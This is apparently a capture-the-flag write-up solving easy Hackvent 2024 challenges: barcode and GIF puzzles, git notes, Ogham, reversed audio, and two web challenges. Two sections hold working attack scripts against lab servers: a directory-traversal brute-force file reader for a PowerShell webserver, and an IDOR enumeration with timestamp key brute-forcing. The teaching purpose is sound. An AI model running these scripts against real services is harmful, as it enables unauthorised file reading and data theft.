Hackvent 2024 - Easy
Hackvent 2024 provided it’s typically mix of fun and challenging CTF problems delivered daily for the first 24 days of December. This year instead of challenges going from easy to leet ending with the hardesst challenge on December 24, they went easy to leet, peaking on days 11-13, and then back down to easy. I was able to complete all but one of the challenges this year. The easy challenges this year had a bunch of barcode manipulation, an interesting PowerShell webserver, some simple web exploitation, an interesting codeded language, and of course, Rick-Rolling.
HV24.01
Challenge
HV24.01 Twisted Colors | |
---|---|
Categories: | FUN |
Level: | easy |
Author: | dr_nick |
An elf accidentally mixed up the colors while painting the Christmas ornaments. Can you help Santa fix it?
Analyze the GIF and get the flag.
I’m given this GIF:
The QR code in this image translates to “Come and have a closer look:)”.
Solution
GIF Color Palette
The interesting this about this GIF is in the color palette. I’ll open it in Gimp, and under Image –> Mode see it’s set to Indexed. GIF images store data in a palette-based color model. The image has a table with up to 256 entries, each being containing three bytes representing a color. Then for each pixel, it can store only one value 0-255, which represents the color at that offset in the table.
Gimp will show the color palette (assuming the image is in Indexed mode) from Windows –> Dockable Dialogs –> Coloar Map.
Palette
There are 236 colors used in this image (0-235):
The interesting bit is that index 235 is all 0s (black), but so is index 0:
If I change the first one to something that will stand out, like 0000ff (blue), the QR code in the image looks like:
There are some black that aren’t changed. I’ll reset that, and set 235 to 00ff00 (green):
There’s a few odd pixels there that use the second black.
234 is pure white, and interestingly, the only pure white in the image:
Changing these to a light blue (00ffff) shows just some other pixels in the QR code:
Swap
The scenario says that “An elf accidentally mixed up the colors while painting the Christmas ornaments.” I’ll try swapping these two colors, setting 234 to 000000 and 235 to ffffff. This updates only the QR:
This can also be done at the command line using Gifsicle:
oxdf@hacky$ gifsicle --change-color 234 "#000000" --change-color 235 "#ffffff" 04ab832f-50dd-4dea-a834-e0a34fa625b5.gif > 04ab832f-50dd-4dea-a834-e0a34fa625b5-mod.gif
This code scans to the flag:
Flag: HV24{Tw1st3d_c0lors_4re_fun!}
HV24.02
Challenge
HV24.02 Meet me at the bar | |
---|---|
Categories: | FUN |
Level: | easy |
Author: | lu161 |
December. Nightshift at Santa’s gift factory. Gifts still to be wrapped are starting to pile up as they cannot be processed any further. One elve still on duty sent Santa some pictures asking for help as all the other elves are already celebrating at the bar. The elve has problems decrypting the pictures as it is still learning the alphabet.
The Zip archive has nine images in it:
oxdf@hacky$ unzip help.zip
Archive: help.zip
inflating: example1.png
inflating: example2.png
inflating: example3.png
inflating: example4.png
inflating: example5.png
inflating: example6.png
inflating: example7.png
inflating: example8.png
inflating: example9.png
oxdf@hacky$ ls
example1.png example2.png example3.png example4.png example5.png example6.png example7.png example8.png example9.png help.zip
They all are legit images:
oxdf@hacky$ file *.png
example1.png: PNG image data, 162 x 200, 1-bit grayscale, non-interlaced
example2.png: PNG image data, 162 x 100, 1-bit grayscale, non-interlaced
example3.png: PNG image data, 162 x 191, 1-bit grayscale, non-interlaced
example4.png: PNG image data, 198 x 163, 1-bit grayscale, non-interlaced
example5.png: PNG image data, 162 x 191, 1-bit grayscale, non-interlaced
example6.png: PNG image data, 162 x 191, 1-bit grayscale, non-interlaced
example7.png: PNG image data, 162 x 191, 1-bit grayscale, non-interlaced
example8.png: PNG image data, 162 x 191, 1-bit grayscale, non-interlaced
example9.png: PNG image data, 162 x 191, 1-bit grayscale, non-interlaced
Each of the images have either one or two barcodes. For example, example1.png
:
Or example4.png
:
EAN-8 Analysis
EAN-8 Background
EAN-8 holds 8 digits, each made up of 7 bits, four on the left and four on the right side of a middle guard. On each side, the encoding for the possible digits is different:
Digit | Left (L) Pattern | Right (R) Pattern |
---|---|---|
0 | 0001101 | 1110010 |
1 | 0011001 | 1100110 |
2 | 0010011 | 1101100 |
3 | 0111101 | 1000010 |
4 | 0100011 | 1011100 |
5 | 0110001 | 1001110 |
6 | 0101111 | 1010000 |
7 | 0111011 | 1000100 |
8 | 0110111 | 1001000 |
9 | 0001011 | 1110100 |
I got this table from ChatGPT, but I could have also pieced it together from Wikipedia articles.
Manual Decode
Each barcode is an EAN-8 barcode, but each has a gap in it of 8 0s (white) in a row, which isn’t valid:
Still, I can decode seven of the eight digits for each barcode:
Image | Digits |
---|---|
example1.png |
?3371333 13378?26 |
example2.png |
1337548? |
example3.png |
133782?6 1337233? |
example4.png |
1337003? |
example5.png |
1337?545 13370?08 |
example6.png |
1337?234 1337777? |
example7.png |
1337517? 1337?327 |
example8.png |
1337517? 1337999? |
example9.png |
1337?545 13374?27 |
Calculate Missing
The last digit in an EAN-8 barcode is a checksum, calculated by multiplying the odd index digits by 3 and the even index digits by 1, and then summing the results. The last digit should be calculated such that when it’s added the total is a multiple of ten. For example, ?3371333:
\[\begin{aligned} 3x + 3 + (3 \times 3) + 7 + (1 \times 3) + 3 + (3 \times 3) + 3 &= 0 \mod 10 \\ 3x + 37 &= 0 \mod 10 \\ 3x + 7 &= 0 \mod 10 \\ 3x &= -7 \mod 10 \\ 3x &= 3 \mod 10 \\ \end{aligned}\]Given that x
must be between 0 and 9, it’s clearly 1.
To avoid doing this manually 16 times, I’ll write a Python script to calculate the missing digit for me:
import sys
def calculate_check_digit(ean8):
odd_sum = sum(int(ean8[i]) * 3 for i in range(0, 7, 2)) # Odd positions
even_sum = sum(int(ean8[i]) for i in range(1, 6, 2)) # Even positions
total_sum = odd_sum + even_sum
check_digit = (10 - (total_sum % 10)) % 10
return check_digit
def find_missing_digit(ean8):
missing_index = ean8.index('?')
for digit in range(10):
ean_candidate = ean8[:missing_index] + str(digit) + ean8[missing_index + 1:]
if calculate_check_digit(ean_candidate) == int(ean_candidate[-1]):
return digit
raise ValueError("No valid digit found for the EAN-8 code.")
def main():
if len(sys.argv) != 2:
print("Usage: python script.py <EAN-8 code>")
sys.exit(1)
ean8_code = sys.argv[1]
if len(ean8_code) != 8 or ean8_code.count('?') != 1:
print("Invalid EAN-8 code. It must have exactly 8 characters and one '?' for the missing digit.")
sys.exit(1)
try:
missing_digit = find_missing_digit(ean8_code)
print(f"The missing digit is: {missing_digit}")
except ValueError as e:
print(e)
sys.exit(1)
if __name__ == "__main__":
main()
To avoid complex math, it simply tries every possible digit and returns when it finds the checksum matches.
oxdf@hacky$ python checksum.py ?3371333
The missing digit is: 1
I can run this for the rest of the images, and get the following result:
Image | Digits |
---|---|
example1.png |
12 |
example2.png |
5 |
example3.png |
20 |
example4.png |
9 |
example5.png |
20 |
example6.png |
19 |
example7.png |
14 |
example8.png |
15 |
example9.png |
23 |
Where an image has two codes, I handle that as a tens and ones digit.
Find Flag
The resulting numbers above are all between 1 and 26, so they could represent characters in the English alphabet. A quick way to check is from the Python REPL, adding 0x40 to get the ASCII characters:
oxdf@hacky$ python
Python 3.12.3 (main, Nov 6 2024, 18:32:19) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> chr(0x40 + 12)
'L'
>>> chr(0x40 + 5)
'E'
>>> chr(0x40 + 20)
'T'
>>> chr(0x40 + 9)
'I'
>>> chr(0x40 + 20)
'T'
>>> chr(0x40 + 19)
'S'
>>> chr(0x40 + 14)
'N'
>>> chr(0x40 + 15)
'O'
>>> chr(0x40 + 23)
'W'
There’s the flag:
Flag: HV24{LETITSNOW}
HV24.03
Challenge
HV24.03 PowerHell | |
---|---|
Categories: |
WEB_SECURITY FUN |
Level: | easy |
Author: | coderion |
Oh no! The devil has found some secret information about santa! And even worse, he hides them in a webserver written in powershell! Help Santa save christmas and hack yourself into the server.
There’s a spawnable Docker instance and a download zip archive.
Analysis
Download
The zip has 13 files in it:
oxdf@hacky$ unzip -l SuperStar.zip
Archive: SuperStar.zip
Length Date Time Name
--------- ---------- ----- ----
580 2024-12-02 20:36 admin.ps1
940 2024-12-02 20:34 authenticate.ps1
173 2024-11-10 21:33 Dockerfile
220 2024-11-10 21:26 helpers.ps1
0 2024-11-10 21:26 passwords/
4 2024-11-10 21:26 passwords/user.txt
36 2024-11-10 21:26 passwords/admin.txt
47 2024-11-10 21:27 secret.txt
1198 2024-12-02 20:34 server.ps1
500 2024-11-10 21:26 style.css
0 2024-12-02 19:59 templates/
454 2024-11-10 21:26 templates/user.html
529 2024-12-02 19:59 templates/index.html
--------- -------
4681 13 files
secret.txt
and passwords/admin.txt
have dummy values, and passwords/user.txt
has “cat”.
The Dockerfile
is a good place to start:
FROM fxinnovation/powershell
WORKDIR /data
COPY . .
USER root
RUN ["/bin/sh", "-c", "echo 'HV24{f4k3_fl4g}' > flag.txt"]
USER powershell
ENTRYPOINT ["pwsh", "server.ps1"]
It’s writing a flag to flag.txt
, and then running pwsh
(powershell) on server.ps1
.
server.ps1
is listening on port 8080 for HTTP and processing it:
$listener = New-Object System.Net.HttpListener
$listener.Prefixes.Add("http://*:8080/")
$listener.Start()
Write-Output "Server started on http://*:8080/"
while ($true) {
$context = $listener.GetContext()
$request = $context.Request
$response = $context.Response
if ($request.Url.AbsolutePath -ceq "/") {
# Serve login page
$htmlContent = Get-Content -Raw -Path "./templates/index.html"
. ./helpers.ps1 $response $htmlContent "text/html"
}
elseif ($request.Url.AbsolutePath -ceq "/style.css") {
# Serve cool css
$htmlContent = Get-Content -Raw -Path "./style.css"
. ./helpers.ps1 $response $htmlContent "text/css"
}
elseif ($request.Url.AbsolutePath -ceq "/login") {
# Authentication
. ./authenticate.ps1 $request $response
}
elseif ($request.Url.AbsolutePath -ceq "/admin") {
# Admin dashboard
. ./admin.ps1 $request $response
}
elseif ($request.Url.AbsolutePath -ceq "/dashboard") {
# User dashboard
$htmlContent = Get-Content -Raw -Path "./templates/user.html"
. ./helpers.ps1 $response $htmlContent "text/html"
}
$response.Close()
}
There’s an index page, style.css
, and three other routes.
/login
calls ``:
param($request, $response)
$username = $request.QueryString["username"]
$password = $request.QueryString["password"]
if (Test-Path "passwords/$username.txt") {
$storedPassword = Get-Content -Raw -Path "passwords/$username.txt"
$isAuthenticated = $true
for ($i = 0; $i -lt $password.Length; $i++) {
if ($password[$i] -cne $storedPassword[$i]) {
$isAuthenticated = $false
Start-Sleep -Milliseconds 500 # brute-force prevention
break
}
}
if ($isAuthenticated) {
if ($username -ceq "admin") {
$response.Redirect("/admin?username=$username&password=$password")
} else {
$response.Redirect("/dashboard?username=$username&password=$password")
}
} else {
. ./helpers.ps1 $response "<h1>Invalid password :c</h1>" "text/html"
}
} else {
. ./helpers.ps1 $response "<h1>User not found :c</h1>" "text/html"
}
The interesting part is how it gets the password from the file based on username, and then checks the input password to see if it matches the contents of the file. If that works, it redirects to either /admin
or /dashboard
. If it fails, it sends back error messages.
The route for /dashboard
just returns a static file. /admin
checks again for the admin password (more securely this time), and then prints a message and the contents of secret.txt
:
param($request, $response)
$adminPass = Get-Content -Path "passwords/admin.txt"
if ($request.QueryString["username"] -cne "admin") {
$response.StatusCode = 403
. ./helpers.ps1 $response "Santa, go away!" "text/html"
return
}
if ($request.QueryString["password"] -cne $adminPass) {
$response.StatusCode = 403
. ./helpers.ps1 $response "Nope :3" "text/html"
return
}
$file = Get-Content -Path "secret.txt"
$template = "<h1>Hello, Devil</h1><hr><br>Here is your secret intel on Santa: <br><pre>$file</pre>"
. ./helpers.ps1 $response $template "text/html"
Website
The index page presents a login form:
If I enter 0xdf as the user and some password, it responds:
This matches what I saw above with authenticate.ps1
. If I put the user to admin or user, it shows:
The user password, “cat”, works, redirecting to /dashboard?username=user&password=cat
:
Exploit
Auth Bypass
I can bypass the initial auth simply be giving it an empty password. The check in authenticate.ps1
loops over the input comparing it to the password from the file until the end of the input:
$isAuthenticated = $true
for ($i = 0; $i -lt $password.Length; $i++) {
if ($password[$i] -cne $storedPassword[$i]) {
$isAuthenticated = $false
Start-Sleep -Milliseconds 500 # brute-force prevention
break
}
}
If the input is empty, it’ll just leave $isAuthenticated
as true
.
This doesn’t buy me much, as I already know the user’s password (“cat”), and entering admin redirects to admin.ps1
which does another check of the password and returns a failure message.
Directory Traversal
$storedPassword
in authenticate.ps1
is read from passwords/$username.txt
:
$storedPassword = Get-Content -Raw -Path "passwords/$username.txt"
This code is vulnerable to a directory traversal. If I enter a username of ../secret
, then it will read passwords/../secret.txt
. With an empty password, this goes to the dashboard:
With a junk password, it returns “Invalid password :c”, which implies it was able to read the file. This allows me to check for the existence of a file. If I do a file that doesn’t exist, it says the user doesn’t exist.
File Read
That same bit of code allows for brute forcing file read:
$storedPassword = Get-Content -Raw -Path "passwords/$username.txt"
$isAuthenticated = $true
for ($i = 0; $i -lt $password.Length; $i++) {
if ($password[$i] -cne $storedPassword[$i]) {
$isAuthenticated = $false
Start-Sleep -Milliseconds 500 # brute-force prevention
break
}
}
if ($isAuthenticated) {
if ($username -ceq "admin") {
$response.Redirect("/admin?username=$username&password=$password")
} else {
$response.Redirect("/dashboard?username=$username&password=$password")
}
} else {
. ./helpers.ps1 $response "<h1>Invalid password :c</h1>" "text/html"
}
} else {
. ./helpers.ps1 $response "<h1>User not found :c</h1>" "text/html"
I can try all possible one character passwords, and the returns a 302 redirect to the dashboard is the correct first letter in that file. Then I can try two character passwords starting with the known first letter, and so one.
This script will read arbitrary files:
import requests
import sys
from string import printable
from urllib.parse import quote_plus
base_url = sys.argv[1].rstrip('/')
filename = sys.argv[2]
password = ''
done = False
while not done:
for c in printable[:-6]:
next_pass = password + c
resp = requests.get(f"{base_url}/login?username={filename}&password={quote_plus(next_pass)}", allow_redirects=False)
print(f'\r{next_pass}', end='')
if resp.status_code == 302:
password += c
break
else:
print(f'\r{password} ')
done = True
The first thing I originally tried was to read secret.txt
, but it is very slow, and after a few minutes I realized I could read the admin password and then just viewsecret.txt
.
oxdf@hacky$ python brute.py https://1d30cfb7-92e7-41c5-a111-0afaed7a542d.i.vuln.land/ ../secret
Santa secretly likes pineapp^
...[snip]...
oxdf@hacky$ python brute.py https://1d30cfb7-92e7-41c5-a111-0afaed7a542d.i.vuln.land/ admin
Meow:3
With the admin password, I can view /admin
which also shows secret.txt
, which is a troll:
I’ll remember that in the Dockerfile
it saves the flag to flag.txt
, and I can read that:
oxdf@hacky$ python brute.py http://77.90.2.227:8888/ ../flag
HV24{dQw4w9WgXcQ}
Flag: HV24{dQw4w9WgXcQ}
That flag happens to be the YouTube ID for RickRoll.
HV24.21
Challenge
HV24.21 Silent Post | |
---|---|
Categories: |
WEB_SECURITY CRYPTO |
Level: | easy |
Author: | rtfmkiesel |
The elves have launched a new service to transmit the most valuable secrets, like the naughty lists, over a secure line. Using Silent Post, secrets get encrypted, and the decryption key is right in the link. How clever! Sadly, one elves has lost the link to one of the lists. Can you help him recover the list?
Start the website and get the flag.
There’s a spawnable Docker instance.
Website Enumeration
Functionality
The website offers a capability to store a secret:
It says clearly that each link can only be viewed one time.
If I enter some text and click “Generate link”, it replaces the text box with a link:
The URL seems to have an ID (133) and then an anchor. The anchor part of the URL is base64-encoded:
oxdf@hacky$ echo "NzM3ZmUwY2Q2MzA3YTY2MGM4Y2U2YTg1ZDdjYjZkYTdmM2E3ZjE0NA==" | base64 -d
737fe0cd6307a660c8ce6a85d7cb6da7f3a7f144
The result is 40 hex characters (likely a SHA1 hash).
Visiting the URL reveals the secret:
Refreshing the same page now shows an error:
Network
Generating a link sends a POST request to /api/new
, with the value being base64 data:
That data doesn’t decode to anything useful. I had started with “text” and the result was:
oxdf@hacky$ echo "RQAQEg==" | base64 -d | xxd
00000000: 4500 1012 E...
The length is the same. It’s likely encrypted.
On visiting the link to get back the message, I’ll note two requests to a URL ending in /134
:
The first is the page itself. Then it loads four JavaScript pages, and then there’s a call to /api/fetch/134
from app-view.js
line 12.
Source
The source for the view page is pretty basic, with several JavaScript references:
app-view.js
waits for the page to load, and then processes the id
and key
variables from the URL. Then it calls /api/fetch/<id>
and decrypts the response using a function decrypt
that must be defined elsewhere.
document.addEventListener('DOMContentLoaded', function() {
var outputfield = document.getElementById('secret-output');
var id = window.location.pathname.split('/')[1];
var key = window.location.hash.substring(1);
if (!id || !key) {
outputfield.innerText = 'Invalid link';
return;
}
fetch('/api/fetch/' + id, {
method: 'GET',
}).then(function(response) {
if (response.ok) {
response.json().then(function(data) {
var decrypted = decrypt(data.value, key);
outputfield.innerText = decrypted;
});
} else {
outputfield.innerText = 'An error occurred';
}
});
});
sha1.js
is this opensource SHA1 hash code.
crypto.js
is clearly obfuscated:
Decode Crypto
This is an obfuscation technique known as JSFuck, modeled off of the Brainfuck esoteric language. For some reason, it actually doesn’t decode as JSFuck on de4js
, but does decode very nicely as “Eval”
The resulting code has three functions. generateKey
takes a SHA1 hash of the current timestamp and returns it as hex:
function generateKey() {
const timestamp = Math.floor(Date.now() / 1000);
const shaObj = new jsSHA("SHA-1", "TEXT", {
encoding: "UTF8"
});
shaObj.update(timestamp.toString());
const hash = shaObj.getHash("HEX");
return hash;
}
encrypt
takes that key and uses to to XOR the plaintext, returning base64-encoded data as well as the base64-encoded key:
function encrypt(text) {
const key = generateKey();
let encrypted = '';
for (let i = 0; i < text.length; i++) {
encrypted += String.fromCharCode(text.charCodeAt(i) ^ key.charCodeAt(i % key.length));
}
return [btoa(encrypted), btoa(key)];
}
decrypt
does the opposite:
function decrypt(encrypted, key) {
encrypted = atob(encrypted);
key = atob(key);
let decrypted = '';
for (let i = 0; i < encrypted.length; i++) {
decrypted += String.fromCharCode(encrypted.charCodeAt(i) ^ key.charCodeAt(i % key.length));
}
return decrypted;
}
Solve
I’ll write a Python script that will brute force across the API to find data by id (this is an IDOR vulnerability). Then when it gets that data it breaks and tries to brute force the timestamp on the encryption starting at right now and going backwards:
import requests
import sys
import time
import hashlib
from base64 import b64decode
from itertools import cycle
for i in range(1, 135):
print(f"\r{i}", end="", flush=True)
resp = requests.get(f"https://{sys.argv[1]}/api/fetch/{i}")
if "value" in resp.json():
break
ct = b64decode(resp.json()["value"])
#ct = b64decode("fW9UAR0QBQ9dFlxaVUBvRABeUT5dEjpYAB9J")
now = int(time.time())
i = 0
while True:
print(f"\r{i}", end="", flush=True)
ts = now - i
key = hashlib.sha1(f"{ts}".encode()).hexdigest().encode()
flag = ''.join([chr(c ^ k) for c, k in zip(ct, cycle(key))])
if flag.startswith("HV24"):
break
i += 1
if i > 1000000:
break
print(f"\r{flag}")
It works:
oxdf@hacky$ python solve.py 4538be27-cc01-41fd-ba36-436b1c29fd04.i.vuln.land
HV24{s0metim3s_t1me_is_k3y}
If I run once and find the missing message, but don’t capture it, I will have to reset the Docker to a fresh image to be able to recover it.
Flag: HV24{s0metim3s_t1me_is_k3y}
HV24.22
Challenge
HV24.22 Santa's Secret Git Feature | |
---|---|
Categories: | FUN |
Level: | easy |
Author: | explo1t |
Santa found a new awesome git feature to hide presents. However, he thinks it does not fit the Christmas theme, but maybe his good friend, the easter bunny, can use it… Can you find his hidden present?
https://github.com/santawoods/christmas-secret-feature
Analyze the git repository and get the flag.
Repo Enumeration
The repo itself is very boring:
oxdf@hacky$ git clone https://github.com/santawoods/christmas-secret-feature
Cloning into 'christmas-secret-feature'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 3 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (3/3), done.
oxdf@hacky$ cd christmas-secret-feature/
oxdf@hacky$ ls
hello.txt
oxdf@hacky$ cat hello.txt
Hello everybody
oxdf@hacky$ git status
On branch main
Your branch is up to date with 'origin/main'.
nothing to commit, working tree clean
There’s a single commit:
oxdf@hacky$ git log --oneline --all
5c1dff6 (HEAD -> main, origin/main, origin/HEAD) Initial Commit
Git Notes
This post goes into detail about Git notes and how they work. To see the notes pushed from someone else, I’ll configure the repo to pull them:
oxdf@hacky$ git fetch origin refs/notes/*:refs/notes/*
remote: Enumerating objects: 5, done.
remote: Counting objects: 100% (5/5), done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 5 (delta 0), reused 5 (delta 0), pack-reused 0 (from 0)
Unpacking objects: 100% (5/5), 469 bytes | 93.00 KiB/s, done.
From https://github.com/santawoods/christmas-secret-feature
* [new ref] refs/notes/commits -> refs/notes/commits
Now there are two additional commits:
oxdf@hacky$ git log --oneline --all
9a2ab37 Notes removed by 'git notes remove'
06af9d2 Notes added by 'git notes add'
5c1dff6 (HEAD -> main, origin/main, origin/HEAD) Initial Commit
git show
will show the differences for the middle commit:
oxdf@hacky$ git show 06af9d2
commit 06af9d20cc50d124bd35cf322180d380325a8030
Author: Santa <santa@christmas.town>
Date: Sat Nov 16 20:07:41 2024 +0100
Notes added by 'git notes add'
diff --git a/5c1dff6bd6b05a44e41d786a99fa1f95219e2d62 b/5c1dff6bd6b05a44e41d786a99fa1f95219e2d62
new file mode 100644
index 0000000..3617dbd
--- /dev/null
+++ b/5c1dff6bd6b05a44e41d786a99fa1f95219e2d62
@@ -0,0 +1 @@
+SGVyZSBpcyB0aGUgZmxhZzogSFYyNHtzM2NyM3RfbjB0M19mbDRnX2Z1bn0=
The base64 data decodes to the flag:
oxdf@hacky$ echo "SGVyZSBpcyB0aGUgZmxhZzogSFYyNHtzM2NyM3RfbjB0M19mbDRnX2Z1bn0=" | base64 -d
Here is the flag: HV24{s3cr3t_n0t3_fl4g_fun}
Flag: HV24{s3cr3t_n0t3_fl4g_fun}
HV24.23
Challenge
HV24.23 Santa's Packet Analyser | |
---|---|
Categories: |
FUN OPEN_SOURCE_INTELLIGENCE |
Level: | easy |
Author: | brp64 |
Santa was invited to an Open Source conference in fall to talk about his newest development on “elfilter – a packet inspector to balance elf load”. Due to the sensitive nature of the talk, it was only open to a very select audience. Nonetheless, he came back with a nice scarf. The elfs suspect there might be a message behind the pattern.
</picture>
Wrap the text of the flag into
HV24{}
before submitting it. Make sure that the rest of the text is all in lowercase.Analyze the image and get the flag.
Solve
The image is Ogham, a historic alphabet explained here. The language didn’t directly translate to the alphabeta used by modern English, so there are many difference translators each with slight differences. I used this one:
Flag: HV24{santafilterspacket}
HV24.24
Challenge
HV24.24 Stranger Sounds | |
---|---|
Categories: | FUN |
Level: | easy |
Author: | coderion |
Santa received a file with some very strange audio. He’s kind of scared, it sounds like some monster who’s about to hunt him down. Help him get to the bottom of it.
Analyze the audio and get the flag.
Solve
The audio sounds like garbled eerie noise that goes on for several minutes. Viewed in Audacity, it looks like:
It’s over 35 minutes long!
I’ll make two changes. The first is Effect –> Pitch and tempo –> Change speed and pitch:
I’ll set it to a speed multiplier of 10:
The length drops from 35:20.88 to 3:32.088.
The next change is Effect –> Special –> Reverse. The result is “Never Gonna Give You Up” by Rick Astley.
At 2:17, there’s a voice reading out the flag.
Flag: HV24{g3t_r1ckr0ll3d}